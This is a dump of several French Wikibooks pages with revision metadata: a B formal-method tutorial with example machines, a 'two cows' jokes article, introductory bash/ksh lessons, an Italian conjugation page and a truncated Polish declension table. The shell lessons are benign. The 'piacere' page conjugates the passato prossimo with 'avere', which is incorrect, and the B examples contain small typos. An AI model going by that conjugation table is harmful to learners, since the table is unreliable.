vrb</nowiki> <nowiki> END ;</nowiki><br/> <nowiki> changer (v) =</nowiki> <nowiki> PRE</nowiki> <nowiki> v : VALEUR</nowiki> <nowiki> THEN</nowiki> <nowiki> vrb := v</nowiki> <nowiki> END</nowiki><br/> '''<nowiki>END</nowiki>''' En spécification algébrique, on écrit des AXIOMES : :valeur (changer (v)) = v * en B, un tel axiome serait un théorème sur le modèle. * en B, on fait la preuve que si on appelle une opération sous sa précondition, on établit l'invariant : * I /\ P => [S] I * (vrb : VALEUR) /\ (v: VALEUR) => [vrb : v] vrb : VALEUR Programmation méthode B/Première machine abstraite 5946 25530 2005-11-16T12:11:42Z Bayo 329 import de Wikipédia Cette machine est écrite en notation B Ascii. Il existe aussi une « notation mathématiques », fournie plus loin, qui utilise les symboles usuels de la mathématique ensembliste et de la logique des prédicats. '''MACHINE''' :''reservation (max_siege)'' /* Le nom de la machine est réservation. On lui passe en paramètre la variable max_sieges. */ '''CONSTRAINTS''' :max_sieges : NAT /* Prédicat d'appartenance. max_sieges appartient à l'ensemble des nombres naturels implantables */ '''VARIABLES''' :nb_sieges_dispos /* nb_sieges_dispos est une variable. On va apprendre dans la rubrique INVARIANT quel est son type. */ '''INVARIANT''' :nb_sieges_dispos : 0..max_sieges /* L'invariant est un prédicat qui doit respecter l'état de la machine. On apprend ici que nb_sieges_dispos est un élément (: est la notation ascii pour l'appartenance ensembliste) de l'ensemble qui va de 0 à max_sieges, max_sieges ayant été passé en paramètre à la machine. nb_sieges_dispos est donc un nombre entier. C'est le nombre de sièges disponibles. On le comprendra avec l'opération réserver.*/ '''INITIALISATION''' :nb_sieges_dispos := max_siege /* La rubrique INITIALISATION permet de vérifier que la spécification a au moins un modèle, une instanciation qui satisfait l'invariant L'opérateur := se lit devient égal à. Il s'agit de la spécification d'une opération. Il s'agit également d'une substitution simple. Cette opération, lorsqu'elle est appliquée au prédicat qui représente la contrainte que l'état de la machine doit respecter, modélise la transformation de la mémoire opérée par l'initialisation : [ nb_sieges_dispos := max_sieges] (siege : 0..max_sieges) <=> max_siege : 0..max_sieges et produit le prédicat qui représente la condition minimale que l'état doit vérifier avant l'exécution de l'opération pour que, après l'exécution, les propriétés de l'état soient toujours vérifiées. [ nb_sieges_dispos := max_sieges] (nb_sieges_dispos : 0..max_sieges) se lit : « nb_sieges_dispos devient égal à max_sieges établit que nb_sieges_dispos : 0.. max_sieges. » Plus généralement, si I désigne un prédicat qui doit être respecté par l'état de la machine et si x := E modélise une des opérations de la machine, alors [x := E] I représente la plus faible condition pour que l'exécution x := E se termine et établisse I. Explications : :[x := E] I remplace les occurrences libres de x dans I par l'expression E. :Par exemple, [x := x+1] (x : N) donne x+1 : N ; :[S] I est interprété ainsi : ::I est la condition désirée « après » (on dit aussi post-condition). C'est un prédicat. ::[S] I est la condition nécessaire et suffisante « avant ». Ainsi toute substitution S définit ce qu'on appelle un « transformateur de prédicat » qui associe à toute post-condition R la plus faible pré-condition, notée [S] I, permettant de garantir que R est vraie juste après l'exécution de l'opération. Lorsque c'est bien le cas (R est vraie après l'exécution de l'opération S), on dit que S établit R. La notion de '''plus faible précondition''' (''weakest precondition'') a été introduite par E.W. Dijkstra avec la notation '''wp(S,I)'''. Exemple : condition désirée après : x <=10 substitution : x := x+1 condition nécessaire et suffisante « avant » : :[x := x+1] (x<=9) :x+1 <= 10 :x <= 9 :x<=9 est la condition nécessaire et suffisante pour que x <= 10 soit vrai après la substitution.*/ '''OPERATIONS''' /* Cette rubrique (en B, on dit aussi clause) contient la définition des opérations offertes par la machine abstraite (on dit aussi, opérations faisant partie du répertoire d'instructions de la machine, ou encore, services offerts par la machine abstraite). Une opération a une en-tête qui a la forme générale suivante : ''Nom des paramètres de sortie <-- Nom de l'opération (Nom des paramètres d'entrée)'' On a donc 4 cas possibles : ** ''Nom de l'opération'' ** ''Nom de l'opération (nom des paramètres d'entrée)'' ** ''Nom des paramètres de sortie <-- nom de l'opération (nom des paramètres d'entrée)'' Dans cet exemple, nous n'avons que le premier cas. */ reserver = :PRE ::0 < nb_sieges_dispos :THEN ::nb_sieges_dispos := nb_sieges_dispos - 1 :END; /* Le symbole égal surmonté d'un chapeau se lit « se définit ainsi ». Il se différencie ainsi du symbole d'égalité. Ici, il est noté par « = » en notation ascii. Vous voyez apparaître un PRE...THEN... . A quoi cela sert-il ? Supposons qu'on ait écrit seulement nb_sieges_dispos := nb_sieges_dispos - 1 On doit avoir : (voir l'exemple précédent) :[nb_sieges_dispos := nb_sieges_dispos - 1] (nb_sieges_dispos : 0..max-sieges) et donc :nb_sieges_dispos - 1 : 0..max-sieges, prédicat qui ne peut être vérifié si nb_sieges_dispos vaut 0. Or on veut que l'invariant soit respecté par les opérations. On utilise pour ça une précondition d'emploi de l'opération. Si P est un prédicat et S une substitution, P | S, qui se lit : le prédicat P qui préconditionne la substitution S, est défini par : :[P | S] I <=> P & [S] I qui se lit : La substitution conditionnée [P | S] établit I si et seulement si P et ("et" logique) la substitution S établit que I est vrai. Du fait du &, si la précondition P est fausse, P & [S] I est faux. Ce cas est celui de l'avortement (on dit aussi du crash). Il modélise un programme dont on n'est jamais garanti qu'il se termine et même quand il se termine, il peut faire n'importe quoi. P | S a une forme « littéraire » : PRE P THEN S END */ annuler = :PRE ::nb_sieges_dispos < max_sieges :THEN ::nb_sieges_dispos := nb_sieges_dispos + 1 :END; /* Annuler une réservation consiste à additionner 1 au nombre de sièges disponibles. On a mis une précondition pour s'assurer qu'on ne dépassera pas sa limite. */ ''' END''' /* cela montre la fin de la spécification de cette machine. */ === Une autre machine abstraite B === '''MACHINE''' :maPetiteEntreprise /* rédige par Dudule le 06-04-2005 */ '''SETS''' :PROJET; SERVICE; EMPLOYE '''VARIABLES''' :employe, service, projet, est_affecte, est_responsable_de_projet, est_responsable_de_service''' '''INVARIANT''' /* Voici les contraintes à satisfaire : * Tout employé est affecté à un service. * Un service a au plus un responsable et un employé ne peut être responsable de plus d'un service. * Un employé responsable d'un service est affecté au service dont il est responsable. * Un employé est au plus responsable d'un seul projet et un projet n'a au plus qu'un employé qui en est responsable. * Les employés responsables de projet ne peuvent être responsables de service. */ :employe <: EMPLOYE & :service <: SERVICE & :projet <: PROJET & :est_affecte : employe --> service & /* employe --> service est l'ensemble des fonctions totales d'employe vers service */ :est_responsable_de_service : employe >+> service & /* +-> est mis pour l'ensemble des fonctions partielles. La partialité est exprimée par le trait vertical coupant la flèche de totalité. Comme l'ensemble des relations quelconques est exprimé par <-->, l'on ne pouvait utiliser < pour exprimer une fonction de la partie droite vers la partie gauche, d'où l'utilisation de >. Ainsi >+> représente une fonction partielle de la gauche vers la droite et une fonction de ma droite vers la gauche. */ :'''est_responsable_de_service <: est_affecte & :est_responsable_de_projet : employe >+> projet & :dom(est_responsable_de_projet) /\''' /* /\ est le symbole Ascii de l'intersection ensembliste */ dom(est_responsable_de_service)={} '''<nowiki>INITIALISATION</nowiki>''' <nowiki> employe, service, projet, est_affecte, est_responsable_de_service,est_responsable_de_projet := {},{},{},{},{},{}</nowiki> '''<nowiki>OPERATIONS</nowiki>''' <nowiki> ajout_employe(ss)=</nowiki> <nowiki> PRE</nowiki> <nowiki> ss : SERVICE &</nowiki> <nowiki> ss : service &</nowiki> <nowiki> (EMPLOYE - employe) /= {}</nowiki> <nowiki> THEN</nowiki> <nowiki> ANY ee WHERE</nowiki> <nowiki> ee : (EMPLOYE - employe)</nowiki> <nowiki> THEN</nowiki> <nowiki> employe := employe \/ { ee } ||</nowiki> <nowiki> est_affecte := est_affecte \/ { ee|->ss }</nowiki> <nowiki> END</nowiki> <nowiki> END;</nowiki><br/> <nowiki> ajout_service=</nowiki> <nowiki> PRE</nowiki> <nowiki> (SERVICE-service) /= {}</nowiki> <nowiki> THEN</nowiki> <nowiki> ANY ss WHERE</nowiki> <nowiki> ss : (SERVICE-service)</nowiki> <nowiki> THEN</nowiki> <nowiki> service:=service \/ {ss}</nowiki> <nowiki> END</nowiki> <nowiki> END;</nowiki><br/> <nowiki> ajout_responsable_service(ee,ss)=</nowiki><br/> <nowiki> PRE</nowiki> <nowiki> ss : SERVICE &</nowiki> <nowiki> ss : service &</nowiki> <nowiki> ee : EMPLOYE &</nowiki> <nowiki> ee : employe &</nowiki> <nowiki> ee /: dom (est_responsable_de_service) &</nowiki> <nowiki> ee /: dom(est_responsable_de_projet) &</nowiki> <nowiki> ss /: ran (est_responsable_de_service) &</nowiki> <nowiki> ee|->ss: est_affecte</nowiki> <nowiki> THEN</nowiki> <nowiki> est_responsable_de_service:=est_responsable_de_service \/ {ee|->ss}</nowiki> <nowiki> END;</nowiki><br/> <nowiki> ajout_projet=</nowiki> <nowiki> PRE</nowiki> <nowiki> (PROJET - projet) /: { }</nowiki> <nowiki> THEN</nowiki> <nowiki> ANY pp WHERE </nowiki> <nowiki> pp : (PROJET - projet)</nowiki> <nowiki> THEN</nowiki> <nowiki> projet:=projet \/ {pp}</nowiki> <nowiki> END</nowiki> <nowiki> END;</nowiki><br/> <nowiki> ajout_responsable_projet(pp, ee)=</nowiki> <nowiki> PRE</nowiki> <nowiki> pp : PROJET &</nowiki> <nowiki> pp : projet &</nowiki> <nowiki> ee : EMPLOYE &</nowiki> <nowiki> ee : employe &</nowiki> <nowiki> ee /: dom (est_responsable_de_service) &</nowiki> <nowiki> ee /: dom (est_responsable_de_projet) &</nowiki> <nowiki> pp /: ran (est_responsable_de_projet)</nowiki> <nowiki> THEN</nowiki> <nowiki> est_responsable_de_projet := est_responsable_de_projet \/ { ee|->pp }</nowiki> <nowiki> END;</nowiki><br/> <nowiki> suppression_employe(ee)=</nowiki> <nowiki> PRE</nowiki> <nowiki> ee : EMPLOYE &</nowiki> <nowiki> ee : employe &</nowiki> <nowiki> ee : dom (est_affecte) &</nowiki> <nowiki> ee /: dom (est_responsable_de_service) &</nowiki> <nowiki> ee /: dom(est_responsable_de_projet)</nowiki> <nowiki> THEN</nowiki> <nowiki> employe := employe - {ee} ||</nowiki> <nowiki> est_affecte := {ee} <<| est_affecte</nowiki> <nowiki> END;</nowiki><br/> <nowiki> suppression_responsable_service(ss)=</nowiki> <nowiki> PRE</nowiki> <nowiki> ss : SERVICE &</nowiki> <nowiki> ss : service &</nowiki> <nowiki> ss : ran (est_responsable_de_service) &</nowiki> <nowiki> est_responsable_de_service~(ss) |-> ss: est_affecte</nowiki> <nowiki> THEN</nowiki> <nowiki> est_responsable_de_service:= {est_responsable_de_service~(ss)} <<|est_responsable_de_service</nowiki> <nowiki> END;</nowiki><br/> <nowiki> suppression_service(ss)=</nowiki> <nowiki> PRE</nowiki> <nowiki> ss : SERVICE &</nowiki> <nowiki> ss : service &</nowiki> <nowiki> ss /: ran (est_responsable_de_service)</nowiki> <nowiki> THEN</nowiki> <nowiki> service := service - {ss}</nowiki> <nowiki> END;</nowiki><br/> <nowiki> suppression_responsable_projet(pp)=</nowiki> <nowiki> PRE</nowiki> <nowiki> pp : PROJET &</nowiki> <nowiki> pp : projet &</nowiki> <nowiki> pp : ran (est_responsable_de_projet)</nowiki> <nowiki> THEN</nowiki> <nowiki> est_responsable_de_projet := {est_responsable_de_projet~(pp)}<<|est_responsable_de_projet</nowiki> <nowiki> END;</nowiki><br/> <nowiki> suppression_projet(pp)=</nowiki> <nowiki> PRE</nowiki> <nowiki> pp : PROJET &</nowiki> <nowiki> pp : projet &</nowiki> <nowiki> pp /: ran (est_responsable_de_projet)</nowiki> <nowiki> THEN</nowiki> <nowiki> projet := projet - {pp}</nowiki> <nowiki> END</nowiki><br/> '''<nowiki>END</nowiki>''' Programmation méthode B/Différence avec Z 5947 25531 2005-11-16T12:12:50Z Bayo 329 import de Wikipédia nota : nous avons utilisé aussi bien pour Z que pour B la notation ASCII B. [NOM, ADRESSE] _____CarnetDAdresses___________________ NomConnu : F NOM APourAdresse : NOM -+> ADRESSE __________ dom (APourAdresse) = NomConnu ____________________________________ _____AjoutDAdresse_______________________ Δ CarnetDAdresses nom? : NOM adr? : ADRESSE ___________ nom? : NomConnu ? APourAdresse' = APourAdresse <+ {(nom? |-> adr?)} _________________________________________ A-t-on besoin, en Z, de spécifier que : NomConnu' = NomConnu \/ {nom?} Réfléchissez bien à cette question. Et lisez ensuite ce qui suit : <nowiki>MACHINE</nowiki> <nowiki> CarnetDAdresses</nowiki><br/> <nowiki>SETS</nowiki> <nowiki> NOM; ADRESSE</nowiki><br/> <nowiki>VARIABLES</nowiki> <nowiki> NomConnu, APourAdresse</nowiki><br/> <nowiki>INVARIANT</nowiki> <nowiki> NomConnu <: NOM &</nowiki> <nowiki> ApourAdresse: NomConnu +->ADRESSE</nowiki><br/> <nowiki>INITIALISATION</nowiki> <nowiki> NomConnu := {} ||</nowiki> <nowiki> APour Adresse := {}</nowiki><br/> <nowiki>OPERATIONS</nowiki> <nowiki> AjoutDAdresse(nom, adr) =</nowiki> <nowiki> PRE</nowiki> <nowiki> nom : NOM - NomConnu &</nowiki> <nowiki> adr : ADRESSE</nowiki> <nowiki> THEN</nowiki> <nowiki> APourAdresse := APourAdresse <+ {nom |-> adr} ||</nowiki> <nowiki> NomConnu := NomConnu \/{nom}</nowiki> <nowiki> END</nowiki><br/> <nowiki>END</nowiki> * En B n'est modifié que ce que l'on spécifie explicitement être modifié. * En Z, la spécification est un prédicat. Notez que le := n'est pas utilisé en Z. Programmation méthode B/Bibliographie et référence 5948 25533 2005-11-16T12:24:14Z Bayo 329 import de Wikipédia == Conférences internationales sur B == * Après la conférence Z2B de Nantes (oct. 10-12 1995) , * puis la première conférence B de Nantes (nov. 25-27 1996), * puis la deuxième à Montpellier (avril 22-24 1998), * il y a eu des conférences à peu près tous les 18 mois, ZB'2000 à York (U.K.) 28 août, 2 sept. 2000), ZB'2002 Grenoble (F) (23-25 janv. 2002), ZB'2003, Turku (Finlande) (4-6 juin), ZB'05, Guildford (U.K.) == Bibliographie == * Jean-Raymond Abrial, ''The B-Book, Assigning Programs to Meanings'' , Cambridge University Press, 1996, ISBN 0521496195 * Steve Schneider, ''The B-method, an introduction'', Palgrave, 2001, ISBN 033379284X * E. Sekerinski and K. Sere (editors ), ''Case Studies Using the B Method'', Springer, ISBN : 0-52149619-5 * John Wordsworth, ''Software Engineering with B'', Addison-Wesley, ISBN : 0201403560 * Kevin Lano, ''The B Language and Method: A guide to Practical Formal Development'', Springer Verlag London Ltd., ISBN : 3-540-76033-4 * Henri Habrias et al., ''Introduction à la méthode B'', Lavoisier Hermes, 2001, ISBN 2746203022 * http://download.gna.org/brillant/docs/B-Bibliography/ un recensement bibliographique au format BibTeX == Sites Internet== * https://gna.org/projects/brillant/ : un projet de développement open-source d'outils supportant la méthode B. * http://www.atelierb.societe.com/ : un outil de développement en B. * http://b4free.com/ : B4free est la version gratuite (pour les universitaires) du coeur de l'atelierB, s'utilise avec la Balbulette. * http://www.loria.fr/~cansell/cnp.html : le site de la balbulette (Click'n'Prove en Anglais) * http://www-lsr.imag.fr/B/ : le site B de Grenoble * http://vl.fmnet.info/b/ : The B-Method (en anglais) Vous avez deux vaches 5949 45259 2006-06-20T09:20:41Z 192.90.70.21 corrections "'''Vous avez deux vaches'''" est le début d'une série de blagues politiques. Les blagues "Vous avez deux vaches" étaient à la base une parodie des exemples simples des cours élémentaires d'économie, dans lequel un fermier utilise son bétail et ses produits pour échanger avec ses voisins. Par exemple : ''"Vous avez deux vaches, vous voulez des poulets, vous cherchez un fermier qui a des poulets et veut des vaches, etc."'' Ces exemples visent à donner les limites du système de troc et expliquent l'apparition de l'argent et de la monnaie. Les parodies à "deux vaches" placent le fermier dans un système économique, philosophique ou religieux, dans lequel les vaches sont des métaphores pour l'argent, le capital, les moyens de production ou les individus. ==Les vaches et les systèmes économiques== Les premières blagues à "deux vaches" opposaient des systèmes économiques, comme notamment le capitalisme et le communisme, en décrivant comment le gouvernement et la bureaucratie intervenaient dans la vie du fermier. Les blagues se sont par la suite développées, avec l'aide de la communauté Internet, et s'interessent maintenant aux pays, aux cultures, aux religions, et même à certaines personnalités, comme Sigmund Freud et Albert Einstein. Elles sont en ce point proche des blagues "Pourquoi la poule traverse-t-elle la route?". ==Les blagues Vous avez deux vaches traduites en francais== La liste suivante est une traduction de la liste trouvée sur le site anglais. {{youhavetwocowsTOC}} ==A voir== * [http://en.wikibooks.org/wiki/Jokebook:You_have_two_cows Wikibooks: Une collection de avez deux vaches en anglais] ==External links== [[Catégorie:Blagues]] [[Catégorie:Metaphores]] [[Catégorie:Economie]] [[Catégorie:Internet culture]] [[he:יש לך שתי פרות]] [[en:You have two cows]] Programmation bash-ksh Bases 5951 40548 2006-04-19T07:38:43Z 213.41.106.96 /* Variables spéciales */ == Commandes == == Variables == Un nom de variable peut contenir des chiffres, des lettres et des symboles souligné mais ne doit pas commencer par un chiffre. <pre> variable=valeur </pre> place la ''valeur'' dans la ''variable''. On peut vérifier le contenu d'une variable avec la commande <code>echo</code> : <pre> echo $variable </pre> Il faut faire très attention à ne pas placer d'espaces ni avant ni après le signe égal lors d'une affectation en ksh. Ainsi <code>variable =valeur</code> donnera l'erreur <code>variable: not found</code> et <code>variable= valeur</code> donnera l'erreur <code>valeur: not found</code>. === Variables spéciales === Certaines variables ont une signification spéciale. La variable <code>$?</code> permet de connaitre le statut de sortie de la dernière commande effectuée qui vaut 0 si cette commande s'est bien déroulé et autre chose sinon.<br/> <code>$0</code>:Nom du script<br/> <code>$1,$2,..,$9</code>:les 9 premiers paramètres du shell<br/> <code>$*</code>:Tous les paramètres<br/> <code>$@</code>:Idem (mais "$@" eq. à "$1" "$2" ...)<br/> <code>$#</code>:Nombre de paramètres<br/> <code>$-</code>:Options du shell<br/> <code>$?</code>:Code retour de la dernière commande<br/> <code>$$</code>:PID du shell<br/> <code>$!</code>:PID du dernier processus shell lancé en arrière-plan<br/> <code>$_</code>:Le dernier argument de la commande précédente.<br/> === Variables d'environnement === Une variable d'environnement est une variable accessible par tous les processus fils du shell courant. Pour créer une variable d'environnement, on ''exporte'' la valeur d'une variable avec la commande <code>export</code>. <pre> export variable </pre> Pour illustrer la différence entre une « simple » variable et une variable d'environnment, nous allons créer une variable d'environnment, lancer un shell fils et afficher la variable. <pre> $ ma_variable=toto $ export ma_variable $ ksh $ echo $ma_variable toto $ exit </pre> Dans ce cas, la valeur de la variable est accessible depuis le shell fils. Si on essaye de faire la même chose sans exporter la variable, la valeur ne sera pas accessible. <pre> $ ma_variable=toto $ ksh $ echo $ma_variable $ exit </pre> La commande <code>env</code> permet de récupérer la liste des variables d'environnement. == Quotes == === Doubles quotes === Les doubles quotes interprètent les noms de variable, ainsi <pre> echo "$var" </pre> affiche le contenu de la variable ''var''. === Simples quotes === Les simples quotes ne font aucune interprétation, ainsi <pre> echo '$var' </pre> affiche <code>$var</code>. === Anti-quotes === Les anti-quotes traitent ce qu'elles entourent comme une commande, dont elles renvoient le résultat. Elles interprètent les noms de variable. <pre> echo `$var` </pre> affichera le résultat de la commande correspondant au contenu de la variable ''var''. Par exemple <pre> var=ls echo `$var` </pre> affiche la liste des fichiers du répertoire courant. En règle générale <code>echo `commande`</code> est équivalent à <code>commande</code>. Modèle:Programmation ksh 5952 25789 2005-11-20T23:15:44Z Guillaumito 46 {{Programmation bash-ksh|ksh|#FFA040|#FFE080}} Programmation ksh Introduction 5953 25556 2005-11-17T09:11:43Z Guillaumito 46 [[Programmation ksh Introduction]] déplacé vers [[Programmation ksh]]: devient page d'accueil du livre #REDIRECT [[Programmation ksh]] Programmation bash-ksh Tests 5954 25818 2005-11-20T23:43:30Z Guillaumito 46 == Conditions == Deux syntaxes équivalentes permettent de tester des expressions : <code>[ expression ]</code> et <code>test expression</code>. Elles renvoient toutes les deux un code d'erreur valant 0 si l'expression est vraie et 1 si l'expression est fausse. <pre> $ [ 2 = 2 ] $ echo $? 0 $ [ 2 = 3 ] $ echo $? 1 </pre> La commande <code>test</code> fonctionne de manière complétement équivalente : <pre> $ test 2 = 2 $ echo $? 0 $ test 2 = 3 $ echo $? 1 </pre> Les opérateurs de tests disponibles sont, pour les chaînes : * <code>c1 = c2</code>, vrai si c1 est c2 sont égaux ; * <code>c1 != c2</code>, vrai si c1 est c2 sont différents ; * <code>-z c</code>, vrai si c est la chaîne vide ; * <code>-n c</code>, vrai si c n'est pas la chaîne vide. Pour les nombres : * <code>n1 -eq n2</code>, vrai si n1 et n2 sont égaux ; * <code>n1 -ne n2</code>, vrai si n1 et n2 sont différents ; * <code>n1 -lt n2</code>, vrai si n1 est strictement inférieur à n2 ; * <code>n1 -le n2</code>, vrai si n1 est inférieur ou égal à n2 ; * <code>n1 -gt n2</code>, vrai si n1 est strictement supérieur à n2 ; * <code>n1 -ge n2</code>, vrai si n1 est supérieur ou égal à n2. Pour les expressions : * <code>! e</code>, vrai si e est faux ; * <code>e1 -a e2</code>, vrai si e1 et e2 sont vrais ; * <code>e1 -o e2</code>, vrai si e1 ou e2 est vrai. == Test <code>if</code> == L'instruction <code>if</code> permet d'effectuer des opérations si une condition est réalisée. <pre> if condition then instruction(s) fi </pre> L'instruction <code>if</code> peut aussi inclure une instruction else permettant d'exécuter des instructions dans le cas ou la condition n'est pas réalisée. <pre> if condition then instruction(s) else instruction(s) fi </pre> Il est bien sur possible d'immbriquer des <code>if</code> dans d'autres <code>if</code> et notamment des constructions telles que celle ci sont assez courantes : <pre> if condition1 then instruction(s) else if condition2 then instruction(s) else if condition3 ... fi fi fi </pre> Pour permettre d'alléger ce type de code, ksh fournit un raccourci d'écriture : <code>elif</code>. Le code précédent pourrait être réécrit ainsi : <pre> if condition1 then instruction(s) elif condition2 then instruction(s) elif condition3 ... fi </pre> == Test <code>case</code> == L'instruction <code>case</code> permet de comparer une valeur avec une liste d'autres valeurs et d'exécuter un bloc d'instructions lorsque une des valeurs de la liste correpsond. <pre> case valeur_testee in valeur1) instruction(s);; valeur2) instruction(s);; valeur3) instruction(s);; ... esac </pre> Ce code est équivalent à : <pre> if [ valeur_teste = valeur1 ] then instruction(s) elif [ valeur_testee = valeur2 ] then instruction(s) elif [ valeur_testee = valeur3 ] then instruction(s) ... fi </pre> 2ième conjugaison - piacere (plaire, aimer ou préférer) 5955 25599 2005-11-17T22:41:32Z 66.131.100.16 Passato prossimo io ho piaciuto tu hai piaciuto lui,lei ha piaciuto noi abbiamo piaciuto voi avete piaciuto loro hanno piaciuto MediaWiki:Badsig 5956 sysop 46692 2006-07-01T18:48:48Z MediaWiki default Signature brute incorrecte, vérifiez vos balises HTML. Programmation bash-ksh Redirections 5957 25806 2005-11-20T23:36:52Z Guillaumito 46 == Flux == Sous Unix, chaque processus possède trois flux : * la sortie standard, qui est utilisée pour afficher les résultats d'un programme ; * la sortie standard des erreurs, qui permet d'afficher les messages correspondant aux erreurs survenues lors de l'exécution du programme ; * l'entrée standard, qui permet d'envoyer des données au programme. Par défaut les deux flux de sortie sont envoyés sur le terminal de l'utilisateur et l'entrée est prise sur le clavier. Tout étant représenté par des fichiers sous Unix, cela correspond à lire dans le fichier représentant le clavier pour l'entrée standard et écrire dans le fichier représentant le terminal pour les sorties standards. == Redirections == Ksh permet de rediriger les trois flux standards, ce qui revient à associer le flux à un fichier différent : * <code>com > fic</code> redirige la sortie standard de <code>com</code> dans le fichier <code>fic</code> ; * <code>com 2> fic</code> redirige la sortie des erreurs de <code>com</code> dans le fichier <code>fic</code> ; * <code>com < fic</code> redirige l'entrée standard de <code>com</code> dans le fichier <code>fic</code>. == Tubes == Un tube permet de rediriger la sortie standard d'une commande dans l'entrée standard d'une autre commande. <pre> commande1 | commande2 </pre> est (presque) équivalent à <pre> commande1 > fichier_temporaire commande2 < fichier_temporaire </pre> Programmation bash-ksh Commandes 5958 39512 2006-04-03T03:39:02Z 82.227.61.149 fichiers et répertoires == Déplacements == La commande <code>cd</code> permet de se déplacer dans le système de fichiers. La commande <code>pwd</code> permet d'afficher l'endroit où l'on se trouve actuellement dans le système de fichiers. == Fichiers et répertoires == === Création, renommage, suppression === La commande <code>mv</code> déplace un fichier, ou le renomme si le répertoire indiqué est l'actuel. La commande <code>rm</code> détruit un fichier (attention, ce fichier ne pourra pas être récupéré). <br/> La commande <code>touch</code> crée un fichier, vide. <code>mkdir</code>permet de créer un répertoire, et <code>rmdir</code> d'en supprimer. === Montage === La commande <code>mount</code> permet de monter un système de fichier. <code>umount</code> le démontera. Programmation bash-ksh Enchaînements 5959 26477 2005-12-04T13:56:19Z Guillaumito 46 réorganisation == Scripts == === Exécution d'un script === Il y a deux manières d'exécuter un script, soit en rendant le script exécutable, soit en passant le fichier comme argument à la commande <code>ksh</code>. <pre> chmod +x script ./script </pre> <pre> ksh script </pre> === Variables spéciales === Plusieurs variables spéciales sont disponibles lors de l'exécution d'un script. * <code>$0</code> a pour valeur le nom du script ; * <code>$1</code> jusqu'à <code>$9</code> ont respectivement pour valeur les neuf premiers arguments du script ; * <code>$#</code> a pour valeur le nombre d'arguments passés au script ; * <code>$@</code> contient la liste de tous les arguments du script. == Enchaînements == === Enchaînements simples === <pre> com1 & com2 & ... & comN </pre> Les commandes <code>com1</code> jusqu'à <code>comN</code> sont exécutées parallèlement. <pre> com1 ; com2 ; ... ; comN </pre> Les commandes <code>com1</code> jusqu'à <code>comN</code> sont exécutées successivement. === Enchaînements conditionnels === <pre> com1 && com2 && ... && comN </pre> Cet exemple va exécuter toutes les commandes <code>com1</code> jusqu'à <code>comN</code> tant que celles ci se terminent correctement. <pre> com1 || com2 || ... || comN </pre> Dans cet exemple les commandes <code>com1</code> jusqu'à <code>comN</code> seront exécutées successivement tant qu'aucune ne se termine correctement. Polonais:Déclinaison du nom masculin 5961 25635 2005-11-18T16:58:50Z Greudin 1 restitution de la dernière modification de Jim2k = Déclinaison du nom masculin = Il existe trois genres masculins en [[Enseignement du polonais|polonais]] - le masculin personnel, le masculin animé et le masculin inanimé. Les différences entre eux sont régulières : * Pour le masculin inanimé, l'accusatif a la même forme que le nominatif * Pour le masculin personnel, l'accusatif a la même forme que le génitif * Pour le masculin animé, l'accusatif a la même forme que le génitif au singulier et la même forme que le nominative au pluriel * Le singulier vocatif est toujours le même que le singulier locatif et le pluriel vocatif est le même que le pluriel nominatif. Mais il existe aussi certaines différences dans la déclinaison. Avant de les expliquer, regardons quelques exemples. <table border=1> <tr><th colspan=3>Garçon (masculin personnel) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Chłopak <td>Chłopak'''i''' <tr><th>Génitif <td>Chłopak'''a''' <td>Chłopak'''ów''' <tr><th>Datif <td>Chłopak'''owi''' <td>Chłopak'''om''' <tr><th>Accusatif <td>Chłopak'''a''' <td>Chłopak'''ów''' <tr><th>Instrumental <td>Chłopak'''iem''' <td>Chłopak'''ami''' <tr><th>Locatif <td>Chłopak'''u''' <td>Chłopak'''ach''' <tr><th colspan=3>Fermier (masculin personnel) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Rolnik <td><font color="#00FF00">Rolnic'''y'''</font> <tr><th>Génitif <td>Rolnik'''a''' <td>Rolnik'''ów''' <tr><th>Datif <td>Rolnik'''owi''' <td>Rolnik'''om''' <tr><th>Accusatif <td>Rolnik'''a''' <td>Rolnik'''ów''' <tr><th>Instrumental <td>Rolnik'''iem''' <td>Rolnik'''ami''' <tr><th>Locatif <td>Rolnik'''u''' <td>Rolnik'''ach''' <tr><th colspan=3>Type (masculin personnel) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Facet <td><font color="#00FF00">Facec'''i'''</font> <tr><th>Génitif <td>Facet'''a''' <td>Facet'''ów''' <tr><th>Datif <td>Facet'''owi''' <td>Facet'''om''' <tr><th>Accusatif <td>Facet'''a''' <td>Facet'''ów''' <tr><th>Instrumental <td>Facet'''em''' <td>Facet'''ami''' <tr><th>Locatif <td><font color="#0000FF">Facec'''ie'''</font> <td>Facet'''ach''' <tr><th colspan=3>Ingénieur (masculin personnel) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Inżynier <td>Inżynier'''owie''' or <font color="#00FF00">Inżynierz'''y'''</font> <tr><th>Génitif <td>Inżynier'''a''' <td>Inżynier'''ów''' <tr><th>Datif <td>Inżynier'''owi''' <td>Inżynier'''om''' <tr><th>Accusatif <td>Inżynier'''a''' <td>Inżynier'''ów''' <tr><th>Instrumental <td>Inżynier'''em''' <td>Inżynier'''ami''' <tr><th>Locatif <td><font color="#0000FF">Inżynierz'''e'''</font> <td>Inżynier'''ach''' <tr><th colspan=3>Chat (masculin animé) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Kot <td>Kot'''y''' <tr><th>Génitif <td>Kot'''a''' <td>Kot'''ów''' <tr><th>Datif <td>Kot'''u''' <td>Kot'''om''' <tr><th>Accusatif <td>Kot'''a''' <td>Kot'''y''' <tr><th>Instrumental <td>Kot'''em''' <td>Kot'''ami''' <tr><th>Locatif <td><font color="#0000FF">Koc'''ie'''</font> <td>Kot'''ach''' <tr><th colspan=3>Chien (masculin animé) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td><font color="#FF0000">Pies</font> <td>Ps'''y''' <tr><th>Génitif <td>Ps'''a''' <td>Ps'''ów''' <tr><th>Datif <td>Ps'''u''' <td>Ps'''om''' <tr><th>Accusatif <td>Ps'''a''' <td>Ps'''y''' <tr><th>Instrumental <td>Ps'''em''' <td>Ps'''ami''' <tr><th>Locatif <td><font color="#0000FF">Ps'''ie'''</font> <td>Ps'''ach''' <tr><th colspan=3>Ordinateur (masculin inanimé) <tr><th> <th>Singulier <th>Pluriel <tr><th>Nominatif <td>Komputer <td>Komputer'''y''' <tr><th>Génitif <td>Komputer'''a''' <td>Komputer'''ów''' <tr><th>Datif <td>Komputer'''owi''' <td>Komputer'''om''' <tr><th>Accusatif 